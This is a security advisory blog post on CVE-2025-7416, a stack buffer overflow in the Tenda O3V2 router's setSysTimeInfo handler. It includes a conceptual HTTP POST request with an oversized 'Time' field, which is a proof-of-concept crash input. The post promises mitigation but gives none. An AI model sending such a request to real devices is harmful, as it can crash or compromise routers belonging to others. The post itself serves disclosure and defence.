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CVE-2025-7416: Critical Vulnerability in Tenda O3V2 Causing Stack-Based Buffer Overflow

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Overview

Recently, a critical vulnerability was discovered in Tenda O3V2 1.0.0.12(3880) that has the potential to compromise systems and potentially leak sensitive data. This vulnerability is particularly concerning due to its ability to be exploited remotely, potentially allowing attackers to breach targeted systems without any physical access. This blog post will provide a detailed analysis of the vulnerability, its impact, and how it can be mitigated.
The vulnerability, known as CVE-2025-7416, affects the httpd component of the Tenda O3V2 device, specifically the fromSysToolTime function in the /goform/setSysTimeInfo file. The exploitation of this vulnerability can result in a stack-based buffer overflow, providing attackers with the ability to execute arbitrary code or cause a denial of service.

Vulnerability Summary

CVE ID: CVE-2025-7416
Severity: Critical (CVSS: 8.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System Compromise, Potential Data Leakage

Affected Products

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Product | Affected Versions

Tenda O3V2 | 1.0.0.12(3880)

How the Exploit Works

The vulnerability is triggered by a manipulation of the ‘Time’ argument in the fromSysToolTime function. By sending a specially crafted request to the /goform/setSysTimeInfo endpoint with a malformed ‘Time’ argument, an attacker can cause a stack-based buffer overflow. This happens because of insufficient boundary checks while handling the ‘Time’ input, allowing an attacker to overwrite the stack with arbitrary values, which could lead to code execution.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. The following HTTP request sends a malicious ‘Time’ argument to the vulnerable endpoint:
“`http
POST /goform/setSysTimeInfo HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Time=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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